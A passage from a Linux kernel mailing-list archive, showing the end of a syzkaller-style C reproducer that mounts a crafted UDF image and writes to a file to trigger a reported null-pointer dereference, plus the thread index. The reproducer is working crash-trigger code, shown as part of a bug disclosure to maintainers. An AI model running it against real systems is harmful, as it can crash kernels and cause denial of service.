*(uint64_t*)0x20000210 = 0x8000;
*(uint64_t*)0x20000218 = 0x20010100;
memcpy((void*)0x20010100, "\000NSR03", 6);
*(uint64_t*)0x20000220 = 6;
*(uint64_t*)0x20000228 = 0x8800;
*(uint64_t*)0x20000230 = 0x20010300;
memcpy((void*)0x20010300,
"\x01\x00\x03\x00\x60\x00\x01\x00\x15\xf5\xf0\x01\x60\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x08\x4c\x69\x6e\x75\x78\x55\x44\x46\x00\x00\
 97);
*(uint64_t*)0x20000238 = 0x61;
*(uint64_t*)0x20000240 = 0x18000;
*(uint64_t*)0x20000248 = 0x20010400;
memcpy((void*)0x20010400,
"\x00\x00\x00\x00\x00\x00\x00\x19\x00\x4f\x53\x54\x41\x20\x43\x6f\x6d\x70\x72\x65\x73\x73\x65\x64\x20\x55\x6e\x69\x63\x6f\x64\x65\x00\x00\x00\
 222);
*(uint64_t*)0x20000250 = 0xde;
*(uint64_t*)0x20000258 = 0x180c0;
*(uint64_t*)0x20000260 = 0x20010500;
memcpy((void*)0x20010500, "\x00\x00\x00\x00\x00\x00\x00\x00\x01", 9);
*(uint64_t*)0x20000268 = 9;
*(uint64_t*)0x20000270 = 0x181e0;
*(uint64_t*)0x20000278 = 0x20010600;
memcpy((void*)0x20010600,
"\x06\x00\x03\x00\x25\x00\x01\x00\x22\xaf\xe8\x01\x61\x00\x00\x00\x02\x00\x00\x00\x00\x4f\x53\x54\x41\x20\x43\x6f\x6d\x70\x72\x65\x73\x73\x65\
 93);
*(uint64_t*)0x20000280 = 0x5d;
*(uint64_t*)0x20000288 = 0x18400;
*(uint64_t*)0x20000290 = 0x20010700;
memcpy((void*)0x20010700,
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x04\x00\x00\x00\x2a\x4f\x53\x54\x41\x20\x55\x44\x46\x20\
 106);
*(uint64_t*)0x20000298 = 0x6a;
*(uint64_t*)0x200002a0 = 0x184c0;
*(uint64_t*)0x200002a8 = 0x20010800;
memcpy((void*)0x20010800,
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x80\x00\x00\x00\x02\x40\x00\x00\x00\x2a\x55\x44\x46\x20\x53\
 78);
*(uint64_t*)0x200002b0 = 0x4e;
*(uint64_t*)0x200002b8 = 0x185a0;
*(uint64_t*)0x200002c0 = 0x20010900;
memcpy((void*)0x20010900,
"\x05\x00\x03\x00\x12\x00\x01\x00\xa7\x0f\xf0\x01\x62\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x00\x2b\x4e\x53\x52\x30\x33\x00\x00\x00\x00\
 66);
*(uint64_t*)0x200002c8 = 0x42;
*(uint64_t*)0x200002d0 = 0x18800;
*(uint64_t*)0x200002d8 = 0x20010a00;
memcpy((void*)0x20010a00,
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x20\x05\x00\x00\xa0\x02\x00\
 62);
*(uint64_t*)0x200002e0 = 0x3e;
*(uint64_t*)0x200002e8 = 0x188a0;
*(uint64_t*)0x200002f0 = 0x20010f00;
memcpy((void*)0x20010f00,
"\x09\x00\x03\x00\xa4\x00\x01\x00\x46\x5b\x76\x00\x80\x00\x00\x00\x00\x10\xe4\x07\x09\x13\x12\x2c\x1a\x3c\x15\x0c\x01\x00\x00\x00\x00\x00\x00\
 134);
*(uint64_t*)0x200002f8 = 0x86;
*(uint64_t*)0x20000300 = 0x20000;
*(uint64_t*)0x20000308 = 0x20011300;
memcpy((void*)0x20011300,
"\x02\x00\x03\x00\x14\x00\x01\x00\x8d\x8f\xf0\x01\x00\x01\x00\x00\x00\x80\x00\x00\x60\x00\x00\x00\x00\x80\x00\x00\xc0\x07", 30);
*(uint64_t*)0x20000310 = 0x1e;
*(uint64_t*)0x20000318 = 0x40000;
*(uint64_t*)0x20000320 = 0x20011500;
memcpy((void*)0x20011500,
"\x00\x01\x03\x00\x56\x00\x01\x00\x05\x3b\xf0\x01\x20\x00\x00\x00\x78\x10\xe4\x07\x09\x13\x14\x2c\x19\x62\x37\x63\x03\x00\x03\x00\x01\x00\x00\
 121);
*(uint64_t*)0x20000328 = 0x79;
*(uint64_t*)0x20000330 = 0x150000;
*(uint64_t*)0x20000338 = 0x20011600;
memcpy((void*)0x20011600,
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x00\x4f\x53\x54\x41\x20\x43\x6f\x6d\x70\x72\x65\x73\x73\x65\x64\x20\x55\x6e\
 245);
*(uint64_t*)0x20000340 = 0xf5;
*(uint64_t*)0x20000348 = 0x1500e0;
*(uint64_t*)0x20000350 = 0x20011900;
memcpy((void*)0x20011900,
"\x0a\x01\x03\x00\xb3\x00\x01\x00\x95\xde\xd0\x01\x60\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x04\x00\x00\x00\x00\x00\x00\x03\
 480);
*(uint64_t*)0x20000358 = 0x1e0;
*(uint64_t*)0x20000360 = 0x160000;
*(uint64_t*)0x20000368 = 0x20012500;
memcpy((void*)0x20012500,
"\x0a\x01\x03\x00\x7e\x00\x01\x00\x65\xd2\xd2\x00\x66\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x05\x00\x00\x00\x00\x00\x00\x03\
 226);
*(uint64_t*)0x20000370 = 0xe2;
*(uint64_t*)0x20000378 = 0x161800;
syz_mount_image(0x20000000, 0x20000100, 0, 0x10, 0x20000200, 0, 0x20013900);// mount a udf image
memcpy((void*)0x200001c0, "./file0\000", 8);
        res = syscall(__NR_openat, 0xffffffffffffff9cul, 0x200001c0ul, 0x343400ul, 0ul);
        if (res != -1)
                r[0] = res;
memcpy((void*)0x20000040, "./file1\000", 8);
        res = syscall(__NR_openat, r[0], 0x20000040ul, 0x105042ul, 0ul);//create a file0 dir and create a ./file0/file1 file
        if (res != -1)
                r[1] = res;
memset((void*)0x20000080, 169, 1);
        syscall(__NR_write, r[1], 0x20000080ul, 0xfdeful); // write something to ./file0/file1 path.
        return 0;
}
```

^ permalink raw reply   [**flat**|nested] 3+ messages in thread

---

end of thread, other threads:[~2022-01-15 7:36 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2022-01-13 10:57 A null-ptr-deref bug be triggered when write to an ICB inode butt3rflyh4ck
2022-01-14 17:23 ` Jan Kara
2022-01-15 7:36   ` butt3rflyh4ck
